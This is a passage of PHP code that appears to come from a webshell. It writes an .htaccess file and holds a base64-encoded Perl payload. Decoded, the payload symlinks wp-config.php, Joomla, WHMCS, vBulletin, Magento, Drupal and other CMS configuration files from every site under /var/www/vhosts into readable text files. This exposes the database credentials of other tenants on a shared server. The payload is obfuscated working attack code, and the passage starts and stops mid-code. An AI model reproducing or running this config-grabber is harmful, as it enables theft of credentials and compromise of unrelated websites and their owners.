	fwrite($htc, $isi_htc);
	fclose($htc);
	if(preg_match("/vhosts|vhost/", $dir)) {
		$link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
		$vhost = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9IDA7DQogICAgJGlzRGlyID0gMSBpZiAtZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJHNpdGVzcy4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnLmluYy5waHAnLCRzaXRlc3MuJy1hbWVtYmVyMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlczEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHNpdGVzcy4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FkbWluL2NvbmYucGhwJywkc2l0ZXNzLictNS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictNC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dwL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvV1Avd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2Jsb2cvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3Mvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ldy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9nL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9ncy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1ob21lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Byb3RhbC93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3Mtc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYWluL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy90ZXN0L3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywkc2l0ZXNzLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsJHNpdGVzcy4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9qb28vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb28udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYS1tYWluLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtaG9tZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIzfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIxfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsJHNpdGVzcy4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0td2htY3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1zdWN1cmUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWNwYW5lbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VibWl0dGlja2V0LnBocCcsJHNpdGVzcy4nLXdobWNzMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9teS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLW15c2hvcC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictc2hvcC1aQ3Nob3AudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc21mL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW1zL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdXAudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJ0aWNsZS9jb25maWcucGhwJywkc2l0ZXNzLictTndhaHkudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy11cDIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZl9nbG9iYWwucGhwJywkc2l0ZXNzLictNi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9pbmNsdWRlL2RiLnBocCcsJHNpdGVzcy4nLTcudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29ubmVjdC5waHAnLCRzaXRlc3MuJy1QSFAtRnVzaW9uLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL21rX2NvbmYucGhwJywkc2l0ZXNzLictOS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJHNpdGVzcy4nLURydXBhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy0xbWVtYmVyLnR4dCcpIDsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3JlcXVpcmVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1iaWxsaW5ncy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RiaWxsaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFzaG9wLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eH